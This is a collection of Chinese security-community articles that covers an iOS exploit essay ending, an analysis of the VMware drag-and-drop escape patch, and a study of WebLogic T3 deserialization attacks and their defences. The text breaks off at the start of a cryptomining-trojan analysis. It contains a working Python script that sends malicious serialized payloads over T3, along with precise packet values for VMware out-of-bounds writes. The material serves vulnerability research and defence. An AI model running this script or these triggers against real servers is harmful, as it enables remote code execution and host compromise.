port的趋势是否已经掩盖了其他技术:我认为没有足够公开的iOS研究来给出结论，但我的直觉是肯定的。根据我自己的经验，了解我要寻找的漏洞类型影响了我所发现的漏洞，并且回顾过去的exploits指导了我在漏洞利用过程中的选择。
最后，现有的iOS内核漏洞利用缓解措施是否有效地防止了未被发现的漏洞利用方法？在我为单字节技术开发了POC之后，我认为答案是否定的；但是在这次分析的最后，我不太确定。我不认为PPL是专门设计来防止这种技术的，PAC并没有做任何事情来阻止这种技术，但是将来PAC保护的指针可能会阻止这种技术。虽然zone_require根本没有影响该exploit，但是添加一行代码将是从单字节溢出增强为跨越区域边界的溢出所需的前提条件。因此，即使以目前的形式，Apple的内核漏洞利用缓解措施对于这种未公开的技术也无效。
最后一个想法。在2018年公开的Deja-XNU中，Ian Beer考虑了四年前iOS内核利用的”state-of-the-art” ：
一段时间以来，我一直想尝试的一个想法是，利用我在iOS学习到的知识，重新研究过去的漏洞，然后尝试再次利用它们，我希望这篇文章能让我们了解到几年前最新的iOS漏洞利用是什么样子的，如果我们能进一步思考目前最新的iOS漏洞利用是什么样子的话，这篇文章可能会对我们有所帮助。
这是一个需要考虑的问题，因为作为防守方，我们从来没有看到过最前沿攻击者的能力。如果攻击者在私下使用的技术和防守方所知道的技术之间出现了差距，则防守方可能会浪费资源来缓解这种技术。
我不认为这种技术代表了目前最新的技术。就像Deja-XNU一样，它可能代表了几年前的水平。值得考虑的是，在此期间，最新的技术可能会走向什么方向。 | 社区文章 |
# 【漏洞分析】对VMware虚拟机逃逸补丁的分析
|
##### 译文声明
本文是翻译文章，文章来源：securingtomorrow.mcafee.com
原文地址：<https://securingtomorrow.mcafee.com/mcafee-labs/analyzing-patch-of-a-virtual-machine-escape-on-vmware>
译文仅供参考，具体内容表达以及含义原文为准。
作者：興趣使然的小胃
预估稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**一、前言**
****
虚拟机指的是安装在正常宿主机操作系统内的一个完全隔离的客户机操作系统。虚拟机逃逸指的是突破虚拟机的限制，实现与宿主机操作系统交互的一个过程，攻击者可以通过虚拟机逃逸感染宿主机或者在宿主机上运行恶意软件。在最近举办的PwnFest黑客大会上（由Power
of
Community组织，在韩国首尔举办），研究人员成功实现了VMware的虚拟机逃逸，这也是VMware首次在公开场合被攻陷，我们对此很感兴趣，因此，McAfee
IPS漏洞研究团队决定深入研究这个过程，加深对该漏洞的理解。
**二、背景知识**
****
VMware反应非常迅速，他们很快发布了一个安全补丁修复这些漏洞，同时公布了一份[安全公告](http://www.vmware.com/in/security/advisories/VMSA-2016-0019.html)。根据我们在闭源软件安全问题方面的一贯做法，我们研究了一下这份公告。公告里面提到这样一段话：
“VMware Workstation和Fusion的拖放（ **drag-and-drop**
，DnD）功能中存在一个越界内存访问漏洞。在运行Workstation或Fusion的操作系统上，攻击者可以利用这个漏洞实现客户机逃逸，在宿主机上执行代码。在Workstation
Pro和Fusion上，如果拖放功能和复制粘贴（ **copy-and-paste** ，C&P）功能都被禁用，那么这个漏洞就无法利用”。
这个漏洞存在于拖放和复制粘贴功能中。这两个功能都用到了VMware远程过程调用（ **remote procedure call**
，RPC）机制。VMware的RPC机制一直以来都是一个非常容易被攻破的点，容易实现客户机到宿主机的逃逸。
在我们深入分析VMSA-2016-0019（CVE-2016-7461）的补丁之前，我们必须先对VMware
Workstation如何处理客户机到宿主机或者宿主机到客户机之间的复制粘贴操作有所了解。
下图从类的层次化角度描述了VMware的拖放和复制粘贴（DnDCP）模式（来源：VM Tools开源代码）：
为了无缝实现宿主机与客户机之间的拷贝粘贴操作，客户机操作系统需要安装VMware tools。VMware
tools负责处理客户机到宿主机或者宿主机到客户机之间的通信。在我们研究过程中，我们使用的环境为Windows客户机以及Windows宿主机。在Windows客户机中，tools的主进程为vmtoolsd.exe。
宿主机与客户机之间相互通信的一种方法是借助RPC接口。VMware使用了一种名为[后门](https://sites.google.com/site/chitchatvmback/backdoor)（Backdoor）的RPC接口。
**2.1 客户机的RPC机制**
让我们好好研究一下客户机与宿主机系统彼此如何通过RPC接口进行通信。为了理解客户机的RPC机制，我们参考了VMware tools的开源组件，即
**open-vm-tools** ，这个组件使用如下函数来处理客户机的RPC调用：
从理论上讲，任何用到RpcChannel_Send()或者RpcOut_send()函数的报文都可以使用rpctools.exe工具来发送，这个工具是VMWare
Workstation内置的一个命令行工具。
RpcOut_Send()调用了Message_Send()，后者会调用Backdoor()函数。
Backdoor函数负责通过VMware专用的I/O端口来发送消息。
当调用Backdoor函数从客户机往宿主机发送消息时，通常情况下我们可以看到如下指令集：
安装完VMware
tools后，我们可以在vmtools.dll中找到这个函数。如下图所示，我们可以看到Backdoor()正在调用sub_10050190函数：
深入研究后，我们发现这个函数会执行特权指令“in.”。
让我们回到漏洞上来。我们之所以对DnDCP RPC消息感兴趣，原因是根据安全公告，该漏洞位于DnDCP RPC中。在VM
Tools源码中，我们可以找到DnDCP RPC消息的具体结构：
从源码中，我们可知该结构体的第一个成员为RPC命令。如果我们研究客户机中vmtoolsd.exe的vmtools!RpcOut_send(x,x,x,)函数，我们也会看到相同的信息。
Bool RpcOut_send(RpcOut *out, char const *request, size_t reqLen,char const **reply, size_t *repLen);
RpcOut_Send()函数的第二个参数是request-RPC报文。如果我们从客户机操作系统的vm-tools进程中导出相关报文，在数据报文中我们首先可以看到一个RPC命令（也就是DnDCPMsgHrV4结构中的第一个成员），我们也可以看到一个复制粘贴请求报文，这个报文与我们放在客户机桌面上的debasish.txt测试文件有关。
**2.2 客户机中RPC报文的处理过程**
我们来看看宿主机操作系统如何处理RPC请求。在宿主机中，正在运行的每个虚拟机都有一个独立的进程，进程名为vmware-vmx.exe。
当客户机发起RPC请求时，vmware-vmx.exe内部的代码会搜索客户机的RPC处理表，找到与请求对应的处理程序。
如果我们使用IDA Pro反汇编vmware-vmx.exe，从中查找原始字符串信息，我们可以找到大部分处理程序。
**三、漏洞分析**
****
根据以上信息，我们可知vmware-vmx.exe是宿主机上的主要组件，负责处理存在漏洞的复制粘贴RPC组件。接下来，我们从二进制角度对比了已打补丁和未打补丁的程序。VMware
Workstation从12.5.2版本起就打上了漏洞补丁，因此我们从二进制角度对比了12.5.2版和12.5.1版的vmware-vmx.exe之间的区别。
我们发现补丁修改了vmware-vmx.exe中的几个函数，如下图所示。
其中比较有趣的一个函数是vmware_vmx!sub_140621520。
这个函数之所以会引起我们的注意，原因在于该函数内部调用了memcpy()函数，这个地方是触发越界漏洞的完美场景。
经过一番调试及逆向分析后，我们确认vmware_vmx!sub_140621520函数负责处理RPC报文，并且我们在客户机系统中可以控制该函数的某个参数。该参数为指向某个结构体的一个指针，因此我们得以控制传入的结构体的具体内容。
具体情况如下图所示。左图表示的是客户虚拟机，右图表示我们已将windbg附加到vmware_vmx.exe进程上。
如上图所示，我们在vmtoolsd.exe进程运行期间修改了一个RPC报文，随后该报文被vmware-vmx.exe进程中的vmware_vmx!sub_140621520函数接收。
让我们反编译已打上补丁的函数，看看函数添加了哪些代码来解决这个问题。
为了能够发送一个有效的RPC报文，我们参考了VM
Tools的源码，源码中定义了RPC报文的具体结构。RPC报文头部结构如下图所示，我们可知该报文头部大小为0x38。
binarySize以及payloadSize字段对应的是反汇编代码中的v6及v5变量。我们可以控制这两个字段的值，触发越界访问漏洞。为了能从客户机往宿主机发送任意RPC报文，我们开发了一个独立工具，该工具利用Backdoor函数，可以实现从客户机往宿主机发送RPC报文。经过完整的逆向分析后，我们发现利用存在漏洞的这个函数，可以实现vmware-vmx.exe进程中的越界读取及写入目标。
**3.1 越界读取**
根据前文分析，我们可以控制payloadSize字段。在发送报文时，如果我们使用了一个以非常大的payloadSize，同时又没有分配payload缓冲区，那么当程序执行到memcpy()时，就会越界读取其他一些内存数据。
如上图所示，程序会拷贝从0x36E4D96到0x378A0D0之间0x500个字节长度的数据。然而，我们自己的数据在0x36E4DB7处的0x4C那就已经结束了，0x36E4DB7之后的数据会导致越界读取漏洞。
**3.2 越界写入**
如果RPC消息中包含多个报文，那么sub_1406215F0就会被调用。
为了在这个函数中实现越界写入，我们需要在一个会话内发送多个RPC报文，然后vmware-vmx会创建一个新的缓冲区，将所有报文的载荷结合在一起。经过全面的逆向分析实验后，我们最终发现，我们可以从客户机往宿主机发送包含如下特征的RPC报文，实现越界写入目标。
首先，我们需要发送带有如下特征的一个拖放RPC报文：
1、packet->binarySize为0x10000。
2、packet->payloadOffset为0x0。
3、packet->payloadSize为0x500。
通过这些选项，我们就能通过前面所有的检查条件，这些条件包括：
1、packetSize大于DND_CP_MSG_HEADERSIZE_V4。
2、packet->payloadSize小于0xFF64。
3、packet->binarySize小于0x400000。
4、packet->payloadOffset + packet->payloadSize < packet->binarySize。
程序将会创建一个新的缓冲区，将我们所有的报文载荷复制到缓冲区中。
接下来，我们需要发送另一个报文，该报文使用相同的会话ID，具体特征为：
1、packet->binarySize为0x10100。
2、packet->payloadOffset为0x500。
3、packet->payloadSize为0xFC00。
这些选项依然满足过滤条件，这些条件包括：
1、packetSize大于DND_CP_MSG_HEADERSIZE_V4。
2、packet->payloadSize小于0xFF64。
3、packet->binarySize小于0x400000。
4、packet->payloadOffset + packet->payloadSize < packet->binarySize。
由于这个报文与第一个报文的会话ID相同，并且程序已经分配了一个新的缓冲区，因此程序会继续将载荷数据复制到当前缓冲区中（因为0x500 +
0xFC00的值等于0x10100，不等于0x10000）。这样就会导致程序越界写入0x100字节大小的数据。
上图显示了vmware-vmx.exe进程在越界写入之前的内存状态。
上图显示了vmware-vmx.exe进程在越界写入之后的内存状态，其中0x40E3070处的内存为新的缓冲区尾部（0x10000）之后的内存。我们发送完第二个报文后，成功实现将0x100字节大小的数据覆盖了位于0x40E3070处的内存数据。
**四、总结**
****
本文简要介绍了VMware
Workstation中的RPC机制，也分析了如何利用RPC中的漏洞实现从客户机系统到宿主机系统的虚拟机逃逸。在之后的一系列文章中，我们将详细分析漏洞利用的每个步骤，并向大家演示如何组合这些漏洞，在VMware中实现完整的虚拟机逃逸。 | 社区文章 |
# Weblogic t3 协议利用与防御
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
作者：Hu3sky@360CERT
# 0x00 前置知识
`weblogic t3`协议指的是`weblogic`的`rmi`使用的`t3`协议，在`java
rmi`中，默认`rmi`使用的是`jrmp`协议，`weblogic`包含了高度优化的`RMI`实现
在一般的基于`jrmp`的`rmi`，通信由4个部分组成
客户端对象
服务端对象
客户端代理对象（stub）
服务端代理对象（skeleton）
`webLogic`支持动态生成客户端`Stub`和服务器端`skeleton`，从而无需为`RMI`对象生成客户端`Stub`和服务器端`skeleton`，将对象部署到`RMI
注册中心`或`JNDI`时，`webLogic`将自动生成必要的代理
`RMI`注册中心会随着`weblogic`服务的启动自动运行。
# 0x01 实现正常t3类的调用
接下来我们看一个例子来了解weblogic rmi 首先创建一个`interface`
package com.hu3sky.t3;
public interface Hello extends java.rmi.Remote{
public void sayHello() throws java.rmi.RemoteException;;
}
实现类
package com.hu3sky.t3;
import java.rmi.RemoteException;
public class HelloImpl implements Hello {
@Override
public void sayHello() throws RemoteException {
System.out.println("hello");
}
}
`WebLogic`不需要`rmi`对象的实现类扩展
`UnicastRemoteObject`。在一般的`rmi`对象中是必须要继承`UnicastRemoteObject`的
Server端
package com.hu3sky.t3;
import javax.naming.*;
import java.util.Hashtable;
public class Server {
// The factory to use when creating our initial context
public final static String JNDI_FACTORY="weblogic.jndi.WLInitialContextFactory";
/**
* Create an instance of the Implementation class
* and bind it in the registry.
*/
public static void main(String[] args) {
try {
Context ctx = getInitialContext("t3://127.0.0.1:7001");
ctx.bind("HelloServer", new HelloImpl());
System.out.println("HelloImpl created and bound to the JNDI");
}
catch (Exception e) {
System.out.println("HelloImpl.main: an exception occurred!");
e.printStackTrace(System.out);
}
}
/* Creates the Initial JNDI Context */
private static InitialContext getInitialContext(String url) throws NamingException {
Hashtable env = new Hashtable();
env.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY);
env.put(Context.PROVIDER_URL, url);
return new InitialContext(env);
}
}
Client端
package com.hu3sky.t3;
import java.util.Hashtable;
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class Client {
// Defines the JNDI context factory.
public final static String JNDI_FACTORY = "weblogic.jndi.WLInitialContextFactory";
public Client() {
}
public static void main(String[] args) throws Exception {
try {
InitialContext ic = getInitialContext("t3://127.0.0.1:7001");
Hello obj = (Hello) ic.lookup("HelloServer");
System.out.println("Successfully connected to HelloServer , call sayHello() : "+obj.sayHello());
} catch (Exception ex) {
System.err.println("An exception occurred: " + ex.getMessage());
throw ex;
}
}
private static InitialContext getInitialContext(String url)
throws NamingException {
Hashtable<String, String> env = new Hashtable<String, String>();
env.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY);
env.put(Context.PROVIDER_URL, url);
return new InitialContext(env);
}
}
然而，此时还无法直接运行，需要使用WebLogic启动类注册RMI对象
步骤如下：
1. 修改项目pom，打包为jar
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="<http://maven.apache.org/POM/4.0.0>"
xmlns:xsi="<http://www.w3.org/2001/XMLSchema-instance>"
xsi:schemaLocation="<http://maven.apache.org/POM/4.0.0> <http://maven.apache.org/xsd/maven-4.0.0.xsd>">
<modelVersion>4.0.0</modelVersion>
<groupId>com.hu3sky</groupId>
<artifactId>t3</artifactId>
<version>1.0-SNAPSHOT</version>
<build>
<plugins>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-compiler-plugin</artifactId>
<configuration>
<source>1.8</source>
<target>1.8</target>
</configuration>
</plugin>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-jar-plugin</artifactId>
<configuration>
<archive>
<manifest>
<addClasspath>true</addClasspath>
<useUniqueVersions>false</useUniqueVersions>
<classpathPrefix>lib/</classpathPrefix>
<mainClass>com.hu3sky.t3.Server</mainClass>
</manifest>
</archive>
</configuration>
</plugin>
</plugins>
</build>
</project>
2. 将jar包复制到域的/lib文件下，重启weblogic即可
成功后查看jndi树，会发现HelloServer成功被加载 接着我们再运行一下Client 成功调用`Server`上的`sayHello`方法
## 1.1 分析流量
这是`7001`端口上的数据包，红色是客户端向服务器请求数据，蓝色的是服务器返回数据
可以看到发送的第一个数据包为T3协议头，其中第一行为`t3`加`weblogic`客户端的版本号,weblogic服务器的返回数据的第一行为`HELO:`加`weblogic`服务器的版本号。`weblogic`客户端与服务器发送的数据均以`\n\n`结尾。
最后返回`Hello World` 我们再看下hex，不难发现其中的 `ac ed 00 05` 序列化魔术头，而且不止一处
通过观察请求数据包，我们可以发现请求的数据包可以分为多个部分，我这里分离出了九个部分
第一部分的前四个字节为整个数据包的长度，第二至九部分均为JAVA序列化数据
其中第二到九部分序列化的类是
weblogic.rjvm.ClassTableEntry
weblogic.rjvm.ClassTableEntry
weblogic.rjvm.ClassTableEntry
weblogic.rjvm.JVMID
weblogic.rjvm.JVMID
weblogic.rjvm.ClassTableEntry
weblogic.rjvm.ImmutableServiceContext
weblogic.rjvm.ImmutableServiceContext
从这里的红框部分开始，为第一个部分，后面的都是以 `ac ed 00 05` 开头的魔术头的反序列化部分 中间其他部分就省略了
## 1.2 利用t3协议进行恶意序列化
在编写利用的过程中，需要发送两部分的数据
* 请求包头，也就是
t3 12.2.1\nAS:255\nHL:19\nMS:10000000\nPU:t3://localhost:7001\nLP:DOMAIN\n\n
以`\n`结束
* 序列化数据部分，序列化部分的构成方式有两种：
* 第一种生成方式为，将前文所述的weblogic发送的JAVA序列化数据的第二到九部分的JAVA序列化数据的任意一个替换为恶意的序列化数据。
* 第二种生成方式为，将前文所述的weblogic发送的JAVA序列化数据的第一部分与恶意的序列化数据进行拼接
必须先发送`T3`协议头数据包，再发送`JAVA`序列化数据包，才能使`weblogic`进行`JAVA`反序列化，进而触发漏洞。如果只发送`JAVA`序列化数据包，不先发送`T3`协议头数据包，无法触发漏洞
## 1.3 脚本编写
这里我采取第二种方法进行脚本的编写，思路是：
1. 建立socket请求
2. 发送t3请求数据头
3. 读取恶意序列化数据，将其拼接至第一部分序列化数据之后
4. 将前四个字节的长度进行替换
5. 发送恶意数据
脚本如下
#!/usr/bin/python
import socket
import os
import sys
import struct
if len(sys.argv) < 3:
print 'Usage: python %s <host> <port> </path/to/payload>' % os.path.basename(sys.argv[0])
sys.exit()
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(5)
server_address = (sys.argv[1], int(sys.argv[2]))
print '[+] Connecting to %s port %s' % server_address
sock.connect(server_address)
# Send headers
headers='t3 12.2.1\nAS:255\nHL:19\nMS:10000000\nPU:t3://localhost:7001\nLP:DOMAIN\n\n'
print 'sending "%s"' % headers
sock.sendall(headers)
data = sock.recv(1024)
print >>sys.stderr, 'received "%s"' % data
payloadObj = open(sys.argv[3],'rb').read()
payload = '\x00\x00\x05\xf5\x01\x65\x01\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x71\x00\x00\xea\x60\x00\x00\x00\x18\x45\x0b\xfc\xbc\xe1\xa6\x4c\x6e\x64\x7e\xc1\x80\xa4\x05\x7c\x87\x3f\x63\x5c\x2d\x49\x1f\x20\x49\x02\x79\x73\x72\x00\x78\x72\x01\x78\x72\x02\x78\x70\x00\x00\x00\x0c\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x01\x00\x70\x70\x70\x70\x70\x70\x00\x00\x00\x0c\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x01\x00\x70\x06\xfe\x01\x00\x00'
payload=payload+payloadObj
# adjust header for appropriate message length
payload=struct.pack('>I',len(payload)) + payload[4:]
print '[+] Sending payload...'
sock.send(payload)
data = sock.recv(1024)
print >>sys.stderr, 'received "%s"' % data
# 0x02 服务端反序列化部分源码分析
这里只做部分分析，分析的比较浅，如果有地方分析有误还请师傅指出 通过观察log里的错误，可以发现调用栈
java.io.EOFException
at weblogic.utils.io.DataIO.readUnsignedByte(DataIO.java:435)
at weblogic.utils.io.DataIO.readLength(DataIO.java:829)
at weblogic.utils.io.ChunkedDataInputStream.readLength(ChunkedDataInputStream.java:150)
at weblogic.utils.io.ChunkedObjectInputStream.readLength(ChunkedObjectInputStream.java:206)
at weblogic.rjvm.InboundMsgAbbrev.read(InboundMsgAbbrev.java:43)
at weblogic.rjvm.MsgAbbrevJVMConnection.readMsgAbbrevs(MsgAbbrevJVMConnection.java:325)
at weblogic.rjvm.MsgAbbrevInputStream.init(MsgAbbrevInputStream.java:219)
at weblogic.rjvm.MsgAbbrevJVMConnection.dispatch(MsgAbbrevJVMConnection.java:557)
at weblogic.rjvm.t3.MuxableSocketT3.dispatch(MuxableSocketT3.java:666)
at weblogic.socket.BaseAbstractMuxableSocket.dispatch(BaseAbstractMuxableSocket.java:397)
at weblogic.socket.SocketMuxer.readReadySocketOnce(SocketMuxer.java:993)
at weblogic.socket.SocketMuxer.readReadySocket(SocketMuxer.java:929)
at weblogic.socket.NIOSocketMuxer.process(NIOSocketMuxer.java:599)
at weblogic.socket.NIOSocketMuxer.processSockets(NIOSocketMuxer.java:563)
at weblogic.socket.SocketReaderRequest.run(SocketReaderRequest.java:30)
at weblogic.socket.SocketReaderRequest.execute(SocketReaderRequest.java:43)
at weblogic.kernel.ExecuteThread.execute(ExecuteThread.java:147)
at weblogic.kernel.ExecuteThread.run(ExecuteThread.java:119)
或者在idea里进行调试，也能看到调用栈
关于muxer，`WebLogic Server`使用称为复用器(`muxer`)的软件模块来读取服务器上的传入请求和客户端上的传入响应，`SocketMuxer`管理服务器的现有套接字连接。它首先确定哪些套接字具有等待处理的传入请求。然后，它读取足够的数据来确定协议，并根据协议将套接字分配到适当的运行时层。在运行时层，套接字混合器线程确定要使用的执行线程队列，并相应地委派请求
## 2.1 SocketMuxer初始化
先看到`SocketMuxer`初始化。在
调用`initSocketMuxerOnServer`，需要返回`singleton`的值 该值为makeTheMuxer函数的return值
由于`KernelStatus.isServer()`返回`true`，所以直接调用`getNativeMuxerClassName()`，获取本地`muxer`
这里根据内核配置获取到的为`NIOSocketMuxer` 获取完之后，调用`muxerClassName`的构造函数 会创建Selector
其中`sockets`成员变量来自抽象类`SocketMuxer` 接着开启 `socketReader` 线程
看到`SocketReaderRequest.run`，`getMuxer`返回`NIOSocketMuxer`
跟进`NIOSocketMuxer.processSockets` 首先会调用`selectFrom`，这里会获取注册过的一些变量，比如`sockets`
(注册大致如下，就不细说了 )
## 2.2 分派创建T3 Muxer
接着看`process`方法，这里的`SelectionKey`键表示了一个特定的通道对象和一个特定的选择器对象之间的注册关系。
`ms`是从`NIOSocketMuxer`中获取`sockets`，这里为`MuxableSocketDiscriminator`，用来鉴别套接字，之后再分发给相应的`Muxer`
跟进`readReadySocket` 然后调用`dispatch` 这里会根据我们发送的套接字数据，判断协议，返回`t3`
接着调用`ProtocolHandlerT3.createSocket`，创建相关的 `Muxer`
调用父类构造方法对`channel`等变量进行初始化，接着将`connection`变量赋值为`T3MsgAbbrevJVMConnection`
this.connection.setDispatcher(ConnectionManager.create((RJVMImpl)null), false);
看到`ConnectionManager.create`
`RJVMEnvironment`环境为`true`,返回`classname`为`weblogic.rjvm.ConnectionManagerServer`，也就是`dispatcher`，然后调用`setDispatcher`设置`dispatcher`
创建完`muxer`之后，移除之前的`sockets`，也就是`MuxableSocketDiscriminator`，重新注册`sockets`为`MuxableSocketT3`
## 2.3 T3 Muxer 反序列化socket数据
再次循环调用`process` 传入`ms`，也就是`MuxableSocketT3`，跟入`readReadySocket`
接着调用`readReadySocketOnce` 往下走，调用`dispatch`进行分发
由于`MuxableSocketT3`没有无参的`dispatch`函数，于是调用父类`BaseAbstractMuxableSocket`的`dispatch`
`makeChunkList`返回`socket`数据流，作为参数传入`dispatch`
接着调用`T3MsgAbbrevJVMConnection.dispatch` 从之前设置的`dispatcher`获取`incomingMessage`
调用`connection.readMsgAbbrevs` 跟进`read`函数 调用`readObject`函数
用`InboundMsgAbbrev.ServerChannelInputStream`处理数据之后，调用`ObjectInpuStream.readObject`造成反序列化
# 0x03 防御机制
## 3.1 JEP290机制
JEP290机制是用来过滤传入的序列化数据，以提高安全性，其核心机制是序列化客户端需要实现`ObjectInputStream`上的`ObjectInputFilter`接口（低于`jdk9`的版本是在`sun.misc`这个`package`下，而`jdk9`是在
`java.io`
这个`package`下），利用`checkInput`方法来对序列化数据进行检测，如果有任何不合格的检测，`Filter`将返回`Status.REJECTED`
jdk9向下增加jep290机制的jdk版本为
Java™ SE Development Kit 8, Update 121 (JDK 8u121)
Java™ SE Development Kit 7, Update 131 (JDK 7u131)
Java™ SE Development Kit 6, Update 141 (JDK 6u141)
这里使用测试版本`jdk8u221`
图上的流程已经很明显了，我们来看看如果被`jdk`拦截是什么样子的，这里我随便用了`CommonsCollections`的`gadget`做测试，使用的测试版本`jdk8u221`
### 3.1.1 filterCheck
最终的拦截调用是 `readOrdinaryObject->readClassDesc->readNonProxyDesc->filterCheck`
这里的`ObjectInputFilter`类型变量`serialFilter`，`serialFilter`的值是作为
`JEP290`对序列化数据进行检测的一个格式(里面包含需要做检测的默认值，用分号隔开。包名后面需要带星号，包名或者类名前面带感叹号的话表示黑名单，没有则表示白名单)
具体细则
这里的`serialFilter`值如下
maxdepth=100;
!org.codehaus.groovy.runtime.ConvertedClosure;
!org.codehaus.groovy.runtime.ConversionHandler;
!org.codehaus.groovy.runtime.MethodClosure;
!org.springframework.transaction.support.AbstractPlatformTransactionManager;
!java.rmi.server.UnicastRemoteObject;
!java.rmi.server.RemoteObjectInvocationHandler;
!com.bea.core.repackaged.springframework.transaction.support.AbstractPlatformTransactionManager;
!java.rmi.server.RemoteObject;
!org.apache.commons.collections.functors.*;
!com.sun.org.apache.xalan.internal.xsltc.trax.*;
!javassist.*;
!java.rmi.activation.*;
!sun.rmi.server.*;
!org.jboss.interceptor.builder.*;
!org.jboss.interceptor.reader.*;
!org.jboss.interceptor.proxy.*;
!org.jboss.interceptor.spi.metadata.*;
!org.jboss.interceptor.spi.model.*;
!com.bea.core.repackaged.springframework.aop.aspectj.*;
!com.bea.core.repackaged.springframework.aop.aspectj.annotation.*;
!com.bea.core.repackaged.springframework.aop.aspectj.autoproxy.*;
!com.bea.core.repackaged.springframework.beans.factory.support.*;
!org.python.core.*
### 3.1.2 serialFilter赋值过程
来看看`weblogic`是如何初始化这个值的，`weblogic`在启动`t3`Server的时候，会进行`filter`的初始化，在初始化的时候，首先会实例化`JreFilterApiProxy`这个类
这里主要通过反射获取`ObjectInputFilter`的方法，当做一个api来使用，同时会调用`determineJreFilterSupportLevel`方来判断`ObjectInputFilter`的`package`
接着会调用到`weblogic.utils.io.oif.WebLogicFilterConfig`的构造方法
为初始化前，`FilterProperties`和`BlacklistProperties`都为`null`，都返回`false`，
于是跟进`processDefaultConfiguration`方法
接着调用`getDefaultFilterScope`判断当前jdk，我们测试版本是`8u221`，返回`GLOBAL`
接着是`constructSerialFilter`，开始对`serialFilter`进行赋值，主要是对`serialFilter`的格式进行统一
黑名单主要来自`DEFAULT_BLACKLIST_CLASSES`和`DEFAULT_BLACKLIST_PACKAGES`，
`serialFilter`的赋值结束后，会通过反射调用`ObjectInputFilter.setSerialFilter`，对`ObjectInputFilter`接口的`serialFilter`赋值
再之后，就是上文的`ObjectInputFilter.checkInput`的调用了 具体的检测过程如下
这就是在jep290的机制下的weblogic配合jdk `ObjectInputFilter`
的一个检测过程，就是一个基于类/包的黑名单检测，还是存在绕过的可能性，比如最近的 `CVE-2020-2555` 的 `gadgets`，可以参考
[CVE-2020-2555
漏洞分析](https://cert.360.cn/report/detail?id=15b04e663cc63500a05abde22266b2ee)
## 3.2 jdk版本过低没有JEP290机制
接下来，修改启动版本为`jdk8u91` 先来看日志报错
### 3.2.1 黑名单赋值
跟进代码看看`weblogic`启动t3的时候，依然是跟进到`JreFilterApiProxy`
`determineJreFilterSupportLevel`方法，由于加载不到`ObjectInputFilter`，所以直接将`FilterSupportLevel`设置为`NULL`，也就不会进入到下面的if判断里了，`initialized`属性也不会被设置为`true`
`initialized`为`false`，返回`isJreFilteringAvailable`也为`false`
接着往下走，依然会实例化`WebLogicFilterConfig`，初始化黑名单，这里和jep290有些区别
调用`constructLegacyBlacklist`，就是一个将`DEFAULT_BLACKLIST_CLASSES`和`DEFAULT_BLACKLIST_PACKAGES`赋值给存放黑名单属性的函数，最后赋值给`LEGACY_BLACKLIST`属性
### 3.2.2 resolveClass
在普通的java反序列化的过程中会调用`resolveClass`读取反序列化的类名，所以我们可以通过重写`ObjectInputStream`对象的`resolveClass`方法即可实现对反序列化的校验，来看`weblogic`是如何实现的
根据错误日志，定位到`weblogic.rjvm.InboundMsgAbbrev$ServerChannelInputStream`。
我们看到反序列化的点 这里将类型转换为`ServerChannelInputStream`，该类继承了`ObjectInputStream`
并且重写了`resolveClass` 在反序列化的时候，就会优先调用重写的`resolveClass`
接着跟进`checkLegacyBlacklistIfNeeded` 这里首先会判断`isJreFilteringAvailable`属性(
**jep290机制下该值为`true`，所以不会用这种方法进行检测**)，然后会调用`isBlacklistedLegacy`判断反序列化类是否在黑名单里
最后通过一张“JSON反序列化之殇_看雪安全开发者峰会”的时序图进行总结
## 0x04 时间线
**2020-03-20** 360-CERT 发布报告
## 0x05 参考链接
1. <https://docs.oracle.com/middleware/1213/wls/WLRMI/rmi_imp.htm#WLRMI146>
2. <https://docs.oracle.com/middleware/1213/wls/WLACH/taskhelp/jndi/ViewObjectsInTheJNDITree.html>
3. <https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/#weblogic>
4. <http://drops.xmd5.com/static/drops/web-13470.html>
5. <https://stackoverflow.com/questions/1623692/what-is-weblogic-socket-muxer>
6. <http://openjdk.java.net/jeps/290>
7. <https://paper.seebug.org/454/>
8. [https://mp.weixin.qq.com/s? **biz=Mzg2OTA0Njk0OA== &mid=2247484951&idx=1&sn=0cef67df4b883b198da467c927533316&source=41#wechat_redirecthttps://mp.weixin.qq.com/s?**biz=Mzg2OTA0Njk0OA==&mid=2247484951&idx=1&sn=0cef67df4b883b198da467c927533316&source=41#wechat_redirect](https://mp.weixin.qq.com/s?__biz=Mzg2OTA0Njk0OA==&mid=2247484951&idx=1&sn=0cef67df4b883b198da467c927533316&source=41#wechat_redirecthttps://mp.weixin.qq.com/s?__biz=Mzg2OTA0Njk0OA==&mid=2247484951&idx=1&sn=0cef67df4b883b198da467c927533316&source=41#wechat_redirect)
9. [Java_JSON反序列化之殇_看雪安全开发者峰会.pdf](https://github.com/shengqi158/fastjson-remote-code-execute-poc/blob/master/Java_JSON%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B9%8B%E6%AE%87_%E7%9C%8B%E9%9B%AA%E5%AE%89%E5%85%A8%E5%BC%80%E5%8F%91%E8%80%85%E5%B3%B0%E4%BC%9A.pdf) | 社区文章 |
# 一个Linux平台的“门罗币”挖矿木马的查杀与分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
>
> 近期接到客户反映，其机房有一台redhat服务器很卡，导致很多服务响应速度很慢的情况。通过远程到客户机器，发现一个进程占据700%多CPU的使用率。通过分析，定性为是一起针对“门罗币”的挖矿木马入侵事件。本文记录处理该事件的关键过程以及对该挖矿木马核心代码进行的分析，方便做事件响应的同行们碰到同家族类型木马后可以快速查杀，定性威胁事件。
## 1．木马行为与查杀过程
### 主要行为
木马以r88.sh作为downloader首先控制服务器，通过判断当前账户的权限是否为root来进行下一步的操作，若为root则在目录/var/spool/cron/root和/var/spool/cron/crontabs/root下写计划任务“*/5
